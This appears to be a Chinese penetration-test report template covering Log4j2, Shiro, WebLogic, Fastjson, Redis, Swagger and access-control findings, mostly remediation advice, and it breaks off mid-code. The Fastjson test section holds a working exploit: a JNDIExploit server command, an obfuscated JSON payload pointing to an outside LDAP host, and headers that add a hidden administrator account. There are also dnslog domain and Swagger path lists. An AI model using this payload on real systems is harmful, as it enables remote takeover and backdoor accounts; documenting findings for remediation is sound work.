由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷，未经授权的攻击者利用 Log4j2 提供的 lookup 功能通过一些协议去读取相应环境中的配置。但在实现的过程中，组件并未对输入进行严格的判断。攻击者可向目标服务器发送精心构造的恶意数据，触发 Log4j2 组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

Apache Log4j 2 组件在开启了日志记录功能后，凡是在可触发错误记录日志的地方，插入漏洞利用代码，即可利用成功。特殊情况下，若该组件记录的日志包含其他系统的记录日志，则有可能造成间接投毒。通过中间系统，使得组件间接读取了具有攻击性的漏洞利用代码，亦可间接造成漏洞触发。

同时该漏洞还影响很多全球使用量的Top序列的通用开源组件，例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。

2021年11月24日，Apache官方收到了安全研究员报送的 Apache Log4j 2 存在远程代码执行漏洞的报告。

2021年12月13日，Apache官方发布了Apache Log4j 2.16.0, 完全删除对消息查找的支持，默认情况下禁用 JNDI，如果需要开启，需要手动将 log4j2.enableJndi 设置为 true 以允许 JNDI。

2021年12月17日，Apache官方发布了Apache Log4j 2.17.0，修复拒绝服务攻击，只有配置中的查找字符串以递归方式扩展;在任何其他用法中，仅解析顶级查找，而不解析任何嵌套查找。

2021年12月27日，Apache官方发布了Apache Log4j 2.17.1，修复了 Apache Log4j 2.17.0中新发现的远程代码执行 (RCE) 漏洞，编号为 CVE-2021-44832。

漏洞成因

由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷，未经授权的攻击者利用 Log4j2 提供的 lookup 功能通过一些协议去读取相应环境中的配置。但在实现的过程中，组件并未对输入进行严格的判断。

漏洞危害

攻击者可向目标服务器发送精心构造的恶意数据，触发 Log4j2 组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

综合评估漏洞利用难度极低，利用要求较少，影响范围很大，危害极其严重，且已经被黑客公开利用持续全网扫描，需要紧急修复。

修复方案

1.推荐方案：

   排查应用是否引入了Apache Log4j 2 Jar包，若存在依赖引入，则可能存在漏洞影响。尽快升级 Apache Log4j 2 所有相关应用到最新的 Apache Log4j 2.17.1（适用于Java 8 及更高版本）、Apache Log4j 2.12.4（适用于Java 7）、Apache Log4j 推荐（适用于Java 6）：

   https://logging.apache.org/log4j/2.x/download.html  

   注意：

   防止升级过程出现意外，建议相关用户在备份数据后再进行操作。

   修复最彻底，但是需要关闭应用系统，重新打包提测。

2.配置网络防火墙，禁止 Apache Log4j 2 组件所在服务器主动外连网络，包含不限于DNS、TCP/IP、ICMP。并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下：

   ceye.io、dnslog.link、dnslog.cn、dnslog.io、tu4.org、burpcollaborator.net、s0x.cn、dns.1433.eu.org、dnslog.cloud、hyuga.icu、log.咕.com。

3.紧急加固缓解措施：

   ① 修改JVM启动参数：

       -Dlog4j2.formatMsgNoLookups=true

   ② 在应用classpath下添加log4j2.component.properties配置文件：

       log4j2.formatMsgNoLookups=True

   ③ 系统环境变量：

       FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

   注意：

   当且仅当Apache Log4j 2 >= 2.10版本时，可使用①、②、③的任一措施进行防护。

需要关闭应用系统 log4j2.formatMsgNoLookups=True。

4.使用下列命令，移除log4j-core包中的JndiLookup 类文件

       zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

5.采用人工方式禁用JNDI，例：

       在spring.properties里添加spring.jndi.ignore=true

6.javaagent，需要给JDK注入一个jar，在jar中将存在漏洞的class代码直接修改。

   参考

   https://github.com/chaitin/log4j2-vaccine   https://github.com/qingtengyun/cve-2021-4428-qingteng-online-patch

   https://github.com/qingtengyun/cve-2021-4428-qingteng-patch

   不需要关闭应用系统，不会影响线上业务。

7.反射修改属性

   不需要重启应用系统，只需要可以在对方的JVM中执行代码，就可以修复。无任何风险。当然前提一定是可以执行代码，方式包括jsp文件等。

   把这段代码包装成jsp文件，直接上传到web站点运行就行。如果是SpringBoot的话，想办法执行代码也是可以的。

       Object obj = LogManager.getLogger();

       Field contextF = obj.getClass().getDeclaredField("context");

       contextF.setAccessible(true);

       Object context = contextF.get(obj);

       Field configurationF = context.getClass().getDeclaredField("configuration");

       configurationF.setAccessible(true);

       Object configuration = configurationF.get(context);

       Field substF = configuration.getClass().getSuperclass().getDeclaredField("subst");

       substF.setAccessible(true);

       Object subst = substF.get(configuration);

       Field variableResolverF = subst.getClass().getDeclaredField("variableResolver");

       variableResolverF.setAccessible(true);

       Object variableResolver = variableResolverF.get(subst);

       Field strLookupMapF = variableResolver.getClass().getDeclaredField("strLookupMap");

       strLookupMapF.setAccessible(true);

       HashMap strLookupMap = (HashMap) strLookupMapF.get(variableResolver);

       strLookupMap.remove("jndi");

8.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本，可以在一定程度防止RCE。

9.升级已知受影响的应用及组件，如

   spring-boot-starter-log4j2、Apache Struts2、Apache Solr、Apache Druid、Apache Flink。

测试过程

复测过程

复测结果

未修复

漏洞名称

Apache Shiro 反序列化命令执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

Apache Shiro是一款开源的Java安全框架，用于管理应用程序的身份验证、授权和审计等安全操作。如果Shiro存在反序列化命令执行漏洞，攻击者可能利用该漏洞对目标系统进行攻击。反序列化漏洞通常是由于程序没有正确处理来自不受信任的来源的数据，导致程序执行恶意命令。为了防止这种情况的发生，系统管理员应该定期检查和更新系统中的组件，以修补可能存在的漏洞。

Apache Shiro 是一款开源Java安全框架，提供身份验证、授权、密码学和会话管理。Shiro 框架直观、易用，同时也能提供健壮的安全性。

Apache Shiro 1.2.4 及以前版本中，加密的用户信息序列化后存储在名为 remember-me 的 Cookie 中。只要rememberMe的AES加密密钥泄露，无论shiro是什么版本都会导致反序列化漏洞。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie，触发 Java 反序列化漏洞，进而在目标机器上执行任意命令。

漏洞成因

Apache Shiro框架提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理，shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

在识别身份的时候，需要对Cookie里的rememberMe字段解密。根据加密的顺序，不难知道解密的顺序为：

1.获取rememberMe cookie

2.base64 decode

3.解密AES（加密密钥硬编码）

4.反序列化（未作过滤处理）

但是，AES加密的密钥Key被硬编码在代码里，意味着每个人通过源代码都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

漏洞危害

影响Shiro <= 1.2.4版本，当未设置用于“remember me”特性的AES密钥时，存在反序列化漏洞，可远程命令执行。

修复方案

1.升级Shiro版本到1.2.5及以上，建议直接升级到最新版本。

2.现在使用的rememberMe的AES加密密钥泄露，请自己base64一个AES的密钥，或者利用官方提供的方法生成密钥。

org.apache.shiro.crypto.AbstractSymmetricCipherService #generateNewKey()。

测试过程

复测过程

复测结果

未修复

漏洞名称

WebLogic 反序列化命令执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

WebLogic是一款由Oracle公司开发的应用服务器软件，用于部署和管理Java Enterprise Edition（JEE）应用程序。如果WebLogic存在反序列化命令执行漏洞，攻击者可能利用该漏洞对目标系统进行攻击。反序列化漏洞通常是由于程序没有正确处理来自不受信任的来源的数据，导致程序执行恶意命令。为了防止这种情况的发生，系统管理员应该定期检查和更新系统中的软件，以修补可能存在的漏洞。

由于在处理反序列化信息时没有合理进行过滤，攻击者可以通过发送精心构造的恶意HTTP请求来利用该漏洞，从而获取服务器权限并在未授权情况下远程执行任意代码。

漏洞成因

由于在处理反序列化信息时没有合理进行过滤，攻击者可以通过发送精心构造的恶意HTTP请求来利用该漏洞，从而获取服务器权限并在未授权情况下远程执行任意代码。

漏洞危害

攻击者利用该漏洞可以访问成功登录应用系统后台，导致敏感信息泄露，甚至可以获取管理员权限。

修复方案

1.Oracle目前已发布补丁修复了上述漏洞，请用户参考官方通告及时下载受影响产品更新补丁，并参照补丁安装包中的readme文件进行安装更新，以保证长期有效的防护。

注：Oracle官方补丁需要用户持有正版软件的许可用户名，使用该用户名登录https://support.oracle.com后，可以下载最新补丁。

2.临时缓解措施

如果用户暂时无法安装更新补丁，可通过下列措施对漏洞（CVE-2020-14841），(CVE-2020-14825)与(CVE-2020-14859)进行临时防护：

2.1 限制T3协议访问

用户可通过控制T3协议的访问来临时阻断针对利用T3协议漏洞的攻击。Weblogic Server 提供了名为 weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器，此连接筛选器接受所有传入连接，可通过此连接筛选器配置规则，对T3及T3s协议进行访问控制，详细操作步骤如下：

(1).进入Weblogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置。

(2).在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，参考以下写法，在连接筛选器规则中配置符合企业实际情况的规则：

127.0.0.1 * * allow t3 t3s

本机IP ** allow t3 t3s

允许访问的IP  * * allow t3 t3s

* * * deny t3 t3s

连接筛选器规则格式如下：target localAddress localPort action protocols，其中：

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*)，则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号，则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议：http、https、t3、t3s、giop、giops、dcom 或 ftp。)如果未定义协议，则所有协议都将与一个规则匹配。

(3).保存后若规则未生效，建议重新启动Weblogic服务（重启Weblogic服务会导致业务中断，建议相关人员评估风险后，再进行操作）。以Windows环境为例，重启服务的步骤如下：

进入域所在目录下的bin目录，在Windows系统中运行stopWebLogic.cmd文件终止weblogic服务，Linux系统中则运行stopWebLogic.sh文件。

待终止脚本执行完成后，再运行startWebLogic.cmd或startWebLogic.sh文件启动Weblogic，即可完成Weblogic服务重启。

若参考上述操作配置了连接筛选器后，导致Weblogic无法启动，可参考“附录A Weblogic服务恢复”章节，及时进行业务恢复。

2.2 禁用IIOP协议

用户可通过关闭IIOP协议阻断针对利用IIOP协议漏洞的攻击，操作如下：

在Weblogic控制台中，选择“服务”->”AdminServer”->”协议”，取消“启用IIOP”的勾选。并重启Weblogic项目，使配置生效。

测试过程

复测过程

复测结果

未修复

漏洞名称

Fastjson 反序列化命令执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

Fastjson是一款开源的Java库，用于将Java对象转换为JSON格式的字符串和将JSON格式的字符串转换为Java对象。如果Fastjson存在反序列化命令执行漏洞，攻击者可能利用该漏洞对目标系统进行攻击。反序列化漏洞通常是由于程序没有正确处理来自不受信任的来源的数据，导致程序执行恶意命令。为了防止这种情况的发生，系统管理员应该定期检查和更新系统中的库，以修补可能存在的漏洞。

fastjson已使用黑白名单用于防御反序列化漏洞，经研究该利用在特定条件下版本号 ≤1.2.80 可绕过默认autoType关闭限制，攻击远程服务器，风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。

漏洞成因

fastjson已使用黑白名单用于防御反序列化漏洞，经研究该利用在特定条件下版本号 ≤1.2.80 可绕过默认autoType关闭限制，攻击远程服务器，风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。

漏洞危害

fastjson 漏洞利用是指攻击者利用fastjson中的安全漏洞来对系统进行攻击。fastjson是一种Java库，用于将Java对象转换为JSON数据格式。它可以快速、高效地完成这项工作，但它也存在一些安全漏洞，如反序列化漏洞。攻击者可以利用这些漏洞来执行远程代码执行攻击，泄露敏感信息，甚至拒绝服务攻击。为了避免这种情况，开发人员应该使用最新版本的fastjson，并遵守安全开发最佳实践。

fastjson已使用黑白名单用于防御反序列化漏洞，经研究该利用在特定条件下版本号 ≤1.2.80 可绕过默认autoType关闭限制，攻击远程服务器，风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。

修复方案

1.升级到最新版本1.2.83

https://github.com/alibaba/fastjson/releases/tag/1.2.83

2.safeMode加固

fastjson在1.2.68及之后的版本中引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可杜绝反序列化Gadgets类变种攻击（关闭autoType注意评估对业务的影响）。

开启方法

参考 https://github.com/alibaba/fastjson/wiki/fastjson_safemode

使用1.2.83之后的版本是否需要使用safeMode

1.2.83修复了此次发现的漏洞，开启safeMode是完全关闭autoType功能，避免类似问题再次发生，这可能会有兼容问题，请充分评估对业务影响后开启。

开启了safeMode是否需要升级

开启safeMode不受本次漏洞影响，可以不做升级。

3.升级到fastjson v2

fastjson v2地址 https://github.com/alibaba/fastjson2/releases

fastjson已经开源2.0版本，在2.0版本中，不再为了兼容提供白名单，提升了安全性。fastjson v2代码已经重写，性能有了很大提升，不完全兼容1.x，升级需要做认真的兼容测试。

4.noneautotype版本

在5月26日后，为了方便使用老版本用户兼容安全加固需求，提供了noneautotype版本，效果和1.2.68的safeMode效果一样，完全禁止autotype功能。使用noneautotype版本的用户也不受此次漏洞影响。

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.8_noneautotype/

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48_noneautotype/

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.50_noneautotype/

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.54_noneautotype/

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.60_noneautotype/

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.71_noneautotype/。

测试过程

利用 JNDIExploit-1.4-SNAPSHOT.jar 执行任意命令：

java -jar JNDIExploit-1.4-SNAPSHOT.jar -l 8088 -p 8099 -i 47.94.250.255

EXP:

ldap://47.94.250.255:8088/Basic/TomcatEcho

POST /hosp/list HTTP/1.1

Host:

Accept: application/json, text/plain, */*

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Content-Length: 763

Cmd: net user admin$ [email protected] /add

Cmd: net localgroup administrators admin$ /add

Content-Type: application/json

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-site

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108", "Google Chrome";v="108"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "macOS"

{"yj":{"\u0040\u0074\u0079\u0070\u0065":"\u006F\u0072\u0067\u002E\u0061\u0070\u0061\u0063\u0068\u0065\u002E\u0069\u0062\u0061\u0074\u0069\u0073\u002E\u0064\u0061\u0074\u0061\u0073\u006F\u0075\u0072\u0063\u0065\u002E\u006A\u006E\u0064\u0069\u002E\u004A\u006E\u0064\u0069\u0044\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u0046\u0061\u0063\u0074\u006F\u0072\u0079","\u0070\u0072\u006F\u0070\u0065\u0072\u0074\u0069\u0065\u0073":{"\u0064\u0061\u0074\u0061\u005F\u0073\u006F\u0075\u0072\u0063\u0065":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0034\u0037\u002e\u0039\u0034\u002e\u0032\u0035\u0030\u002e\u0032\u0035\u0035\u003a\u0038\u0030\u0038\u0038\u002f\u0042\u0061\u0073\u0069\u0063\u002f\u0054\u006f\u006d\u0063\u0061\u0074\u0045\u0063\u0068\u006f"}}}

复测过程

复测结果

未修复

漏洞名称

未授权访问漏洞

漏洞地址

漏洞等级

高危

漏洞描述

未授权访问漏洞是指系统中存在缺陷或疏漏，导致未经授权的用户可以访问系统的某些功能或数据，从而破坏系统的安全性。例如，未授权访问漏洞可能导致攻击者获取敏感信息、篡改数据、执行恶意代码等问题。为了避免这种情况的发生，系统管理员应该采取有效的安全措施，如设置访问控制列表、实施身份验证、加密通信等，以保护系统免受未授权访问的威胁。

未授权访问指 Web 站点准许攻击者访问敏感内容或功能而未对其访问许可权进行适当认证。认证鉴权机制存在缺陷，未经授权的用户绕过认证鉴权，从而访问非授权的资源。

漏洞成因

认证鉴权机制存在缺陷，未经授权的用户绕过认证鉴权，从而访问非授权的资源。

漏洞危害

认证鉴权机制存在缺陷，未经授权的用户绕过认证鉴权，从而访问非授权的资源。

修复方案

1.使用安全配置，对敏感服务接口使用白名单访问控制列表。

2.验证一切来自客户端的参数，重点是和权限相关的参数，比如用户ID或者角色权限ID等。

3.session ID 和认证的token做绑定，放在服务器的会话里，不发送给客户端。

4.对于用户登录后涉及用户唯一信息的请求，每次都要验证检查所有权，敏感信息页面加随机数的参数，防止浏览器缓存内容。

5.把程序分成匿名，授权和管理的区域，通过将角色和数据功能匹配。

6.不使用参数来区分管理员和普通用户。

测试过程

复测过程

复测结果

未修复

漏洞名称

垂直（平行）越权漏洞

漏洞地址

漏洞等级

高危

漏洞描述

越权漏洞是指系统中存在缺陷或疏漏，导致用户在操作系统时超出了其权限范围，从而破坏系统的安全性。例如，如果系统允许普通用户执行管理员操作，那么普通用户就可能利用该漏洞越权访问系统的某些功能或数据，从而造成严重的安全问题。为了避免这种情况的发生，系统管理员应该采取有效的安全措施，如设置用户权限、实施身份验证、加密通信等，以保护系统免受越权攻击的威胁。

越权漏洞又分为垂直越权和平行越权，简单来理解的话，就是普通用户操作的权限，可以经过漏洞而变成管理员的权限，或者是可以操作其它人用户名的权限，正常如果访问管理员的一些操作，是需要有安全验证的，而越权导致的就是绕过验证，可以访问管理员的一些敏感信息，一些管理员的操作，导致数据机密的信息泄露。

垂直越权漏洞可以使用低权限的用户名来执行高权限用户名的操作，比如可以操作管理员的用户名功能。

平行越权漏洞是可以操作同一个层次的用户名权限之间进行操作，以及访问到一些用户名敏感信息，比如可以修改任意用户名的资料，包括查看会员的手机号，姓名，充值记录，撤单记录，提现记录，注单记录等等，也可以造成使用平行越权来执行其他用户的功能，比如删除银行卡，修改手机号，密保答案等等。

漏洞成因

一般越权漏洞容易出现在权限页面（需要登录的页面）增、删、改、查的的地方，当用户对权限页面内的信息进行这些操作时，后台需要对当前用户的权限进行校验，看其是否具备操作的权限，从而给出响应，而如果校验的规则过于简单则容易出现越权漏洞。

漏洞危害

普通用户操作的权限，可以经过漏洞而变成管理员的权限，或者是可以操作其它人用户名的权限。

修复方案

对于非公共操作，应当校验当前访问用户名进行操作权限（常见于CMS）和数据权限校验。

1.验证当前用户的登录态。

2.从可信结构中获取经过校验的当前请求用户名的身份信息（如：session），禁止从用户请求参数或Cookie中获取外部传入不可信用户身份直接进行查询。

3.校验当前用户是否具备该操作权限。

4.校验当前用户是否具备所操作数据的权限，避免越权。

5.校验当前操作是否账户是否预期账户。

6.基于资源限定的角色来进行垂直越权控制（如:shiro）

在controller类上增加注解@RequiresPermissions()，表示哪些角色可以访问当前这个资源。

示例: 拥有admin,leader角色权限的可以访问这个接口

@RestController

@RequiresPermissions("admin,leader")

public class AuthTest {

    @GetMapping(value = "/user")

    public String getUser(){

        return "zhang";

}

在controller类方法上增加注解@RequiresPermissions()

示例: 拥有admin,leader角色权限的可以访问这个接口

@RestController

public class AuthTest {

   @RequiresPermissions("admin,leader")

    @GetMapping(value = "/user")

    public String getUser(){

        return "zhang";

}@RestController

public class AuthTest {

   @RequiresPermissions("admin,leader")

    @GetMapping(value = "/user")

    public String getUser(){

        return "zhang";

}

7.基于资源和角色的配置关系进行垂直越权控制

@RestController

public class AuthTest {

    @GetMapping(value = "/user")

    public String getUser(){

        return "zhang";

}

增加拦截器

@Configuration

public class AuthConfig implements WebMvcConfigurer {

@Autowired

private ResourceUrlAuthInterceptor resourceCodeBasedAuthInterceptor;

    @Override

    public void addInterceptors(InterceptorRegistry registry){

        registry.addInterceptor(resourceCodeBasedAuthInterceptor);

    }

}

拦截器越权控制

@Component

public class ResourceUrlAuthInterceptor implements HandlerInterceptor {

    @Override

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler){

        String requestUrl = request.getRequestURI();

        String requestMethod = request.getMethod();

        checkRolePermission(requestUrl,requestMethod);

        return true;

    }

 /**

     * 校验权限

     * @param requestUrl

     * @param requestMethod

     */

    private void checkRolePermission(String requestUrl,String requestMethod){

        //获取当前用户的resource

        ShiroUser user = ShiroSession.getSessionUser();

        List resourceUrlList = user.getResourceUrlList();

 if (CollectionUtils.isEmpty(resourceUrlList))throw new UnauthorizedException();

        //匹配已有权限

        for (String patten:resourceUrlList.stream().map(ShiroResourceUrl::getRequestUrl).collect(Collectors.toList()))if (UrlPattenUtils.checkUrl(patten, requestUrl))return;

        throw new UnauthorizedException();

    }

    //校验url

    public static boolean checkUrl(String patten, String path){

        PatternMatcher matcher = new AntPathMatcher();

        return matcher.matches(patten, path);

    }

}。

测试过程

复测过程

复测结果

未修复

漏洞名称

暴力猜解漏洞

漏洞地址

漏洞等级

高危

漏洞描述

暴力猜解漏洞是指攻击者通过大量尝试和猜测，来破解系统的用户名和密码，从而获得系统访问权限。暴力猜解漏洞是由于系统没有采取有效的安全措施，如实施身份验证、限制登录次数、加密通信等，导致攻击者可以轻松地破解系统的用户名和密码。为了避免这种情况的发生，系统管理员应该采取有效的安全措施，以保护系统免受暴力猜解攻击的威胁。

常见暴力猜解：

通过用户名、口令字典多次尝试登录，无限制措施和策略。

漏洞成因

由于错误配置或设计缺陷，应用程序未加密登录请求并且未设置双因素认证机制，导致攻击者可以使用批量化工具通过用户名、口令字典多次尝试登录，无限制措施和策略。

漏洞危害

攻击者可以使用批量化工具通过用户名、口令字典多次尝试登录，无限制措施和策略。

修复方案

1.增加图形验证码，图形验证码采用服务端校验，登录失败一次，验证码变换一次。

2.配置登录失败次数限制策略，如在同一用户尝试登录情况下，5分钟内连续登录失败超过6次，则禁止用户在3小时内登录系统。

3.在条件允许的情况下，增加手机接收短信验证码或邮箱接收邮件验证码，实现双因素认证的防暴力猜解机制。

4.敏感字段采用强加密传输，禁止采用简单MD5加密甚至base64编码或者相关算法变形处理方式，尽量使用国密算法或者支持国密算法的密码机。

测试过程

复测过程

复测结果

未修复

漏洞名称

Redis未授权访问漏洞

漏洞地址

漏洞等级

高危

漏洞描述

Redis未授权访问漏洞是指，由于Redis服务器没有正确配置或存在缺陷，导致未经授权的用户可以访问Redis服务器。例如，攻击者可能利用该漏洞进行攻击，从而访问或修改存储在Redis服务器中的数据，对目标系统造成严重损害。为了防止这种情况的发生，系统管理员应该采取有效的安全措施，如设置访问控制列表、实施身份验证、加密通信等，以保护Redis服务器免受未授权访问的威胁。

Redis默认情况下，会绑定在0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，这样将会将Redis服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下，利用Redis自身的提供的config命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

总结来说，就是以下两点：

1.redis绑定在0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；

2.没有设置密码认证（一般为空），可以免密码远程登录redis服务。

漏洞影响范围包括：

Redis 2.x，3.x，4.x，5.x。

漏洞成因

Redis默认情况下，会绑定在0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，这样将会将Redis服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下，利用Redis自身的提供的config命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

总结来说，就是以下两点：

1.redis绑定在0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；

2.没有设置密码认证（一般为空），可以免密码远程登录redis服务。

漏洞危害

1.攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据；

2.攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件；

3.如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。

修复方案

1.禁止使用root权限启动redis服务。

2.设置密码，以提供远程登录，对redis访问启动密码认证。

增加redis访问密码

在redis.conf配置文件中找到requirepass配置项，取消#注释符，在requirepass后面添加设置的密码。设置密码以后发现可以登录，但是无法执行命令了。

2.1 启动redis客户端，并连接服务器：redis-cli -h IP地址 -p 端口号

输出服务器中的所有key：keys *

报错：(error)ERR operation not permitted

使用授权命令进行授权，就不报错了：auth youpassword

2.2 在连接服务器的时候就可以指定登录密码，避免单独输入上面授权命令：redis-cli -h  IP地址 -p 端口号 -a 密码。

2.3 在配置文件redis.conf中配置验证密码以外，也可以在已经启动的redis服务器通过命令行设置密码，但这种方式是临时的，当服务器重启了后，密码必须重设。命令行设置密码方式：config set requirepass 你的密码。

2.4 不知道当前redis服务器是否有设置验证密码，或者忘记密码，可以通过命令行输入命令查看密码：config get requirepass。

2.5 如果redis服务端没有配置密码，会得到nil，而如果配置了密码，但是redis客户端连接redis服务端时，没有用密码登录验证，会提示：operation not permitted,这时候可以用命令：auth yourpassword 进行验证密码，再执行 config set requirepass，就会显示yourpassword。

3.限制登录IP，采用绑定IP的方式来进行控制。添加IP访问限制，并更改默认6379端口。

限制登录IP，采用绑定IP的方式来进行控制。添加IP访问限制，并更改默认6379端口：修改redis.conf文件。

在redis.conf文件找到如下配置

# bind 127.0.0.1

把# bind 127.0.0.1前面的注释#号去掉，然后把127.0.0.1改成允许访问你的redis服务器的ip地址，表示只允许该ip进行访问。这种情况下，我们在启动redis服务器的时候不能再用:redis-server，改为:redis-server path/redis.conf，即在启动的时候指定需要加载的配置文件,其中path是你上面修改的redis配置文件所在目录，这个方法有一点不太好，难免有多台机器访问一个redis服务。即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录，这个方法有一点不太好，难免有多台机器访问一个redis服务。

4.修改默认端口：修改redis.conf文件

修改默认端口 port 6379(注意：尽量不要和其他服务端口号冲突，改成一些少用或不常见的端口号即可)。

测试过程

复测过程

复测结果

未修复

漏洞名称

Swagger-ui未授权访问漏洞

漏洞地址

漏洞等级

高危

漏洞描述

Swagger-ui是一款开源的API文档工具，用于为RESTful APIs生成友好的、交互式的文档。如果Swagger-ui存在未授权访问漏洞，攻击者可能利用该漏洞进行攻击。例如，攻击者可以通过网络连接进入Swagger-ui服务器，并访问或修改存储在其中的数据，对目标系统造成严重损害。为了防止这种情况的发生，系统管理员应该采取有效的安全措施，如设置访问控制列表、实施身份验证、加密通信等，以保护Swagger-ui服务器免受未授权访问的威胁。

Swagger是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务，JAVA在金融机构开发语言的地位一直居高不下，而作为JAVA届服务端的大一统框架Spring，便将Swagger规范纳入自身的标准，建立了Spring-swagger项目，所以在实际测试环境中，基于spring框架的swagger-ui接口展示及调试文档页面最为常见。

可利用未授权访问漏洞，直接访问以下链接：

/api

/api-docs

/api-docs/swagger.json

/api.html

/api/api-docs

/api/apidocs

/api/doc

/api/swagger

/api/swagger-ui

/api/swagger-ui.html

/api/swagger-ui.html/

/api/swagger-ui.json

/api/swagger.json

/api/swagger/

/api/swagger/ui

/api/swagger/ui/

/api/swaggerui

/api/swaggerui/

/api/v1/

/api/v1/api-docs

/api/v1/apidocs

/api/v1/swagger

/api/v1/swagger-ui

/api/v1/swagger-ui.html

/api/v1/swagger-ui.json

/api/v1/swagger.json

/api/v1/swagger/

/api/v2

/api/v2/api-docs

/api/v2/apidocs

/api/v2/swagger

/api/v2/swagger-ui

/api/v2/swagger-ui.html

/api/v2/swagger-ui.json

/api/v2/swagger.json

/api/v2/swagger/

/api/v3

/apidocs

/apidocs/swagger.json

/doc.html

/docs/

/druid/index.html

/graphql

/libs/swaggerui

/libs/swaggerui/

/spring-security-oauth-resource/swagger-ui.html

/spring-security-rest/api/swagger-ui.html

/sw/swagger-ui.html

/swagger

/swagger-resources

/swagger-resources/configuration/security

/swagger-resources/configuration/security/

/swagger-resources/configuration/ui

/swagger-resources/configuration/ui/

/swagger-ui

/swagger-ui.html

/swagger-ui.html#/api-memory-controller

/swagger-ui.html/

/swagger-ui.json

/swagger-ui/swagger.json

/swagger.json

/swagger.yml

/swagger/

/swagger/index.html

/swagger/static/index.html

/swagger/swagger-ui.html

/swagger/ui/

/Swagger/ui/index

/swagger/ui/index

/swagger/v1/swagger.json

/swagger/v2/swagger.json

/template/swagger-ui.html

/user/swagger-ui.html

/user/swagger-ui.html/

/v1.x/swagger-ui.html

/v1/api-docs

/v1/swagger.json

/v2/api-docs

/v3/api-docs。

漏洞成因

Swagger未开启页面访问限制，Swagger未开启严格的Authorize认证。

漏洞危害

通过翻查文档，得到api接口，点击parameters，即可得到该api接口的详细参数。直接构造参数发包，通过回显可以得到大量的用户信息，包含了手机号，邮箱等。

修复方案

1.Swagger开启页面访问限制。

2.Swagger开启Authorize认证。

找到Startup文件，我们看到Swagger的配置如下：

services.AddSwaggerGen(options =>

   {

      options.SwaggerDoc("v1", new Info { Title = "YjJob API", Version = "v1" });

      options.DocInclusionPredicate((docName, description)=> true);

   });

修改配置：

services.AddSwaggerGen(options =>

   {

      options.SwaggerDoc("v1", new Info { Title = "YjJob API", Version = "v1" });

      options.DocInclusionPredicate((docName, description)=> true);

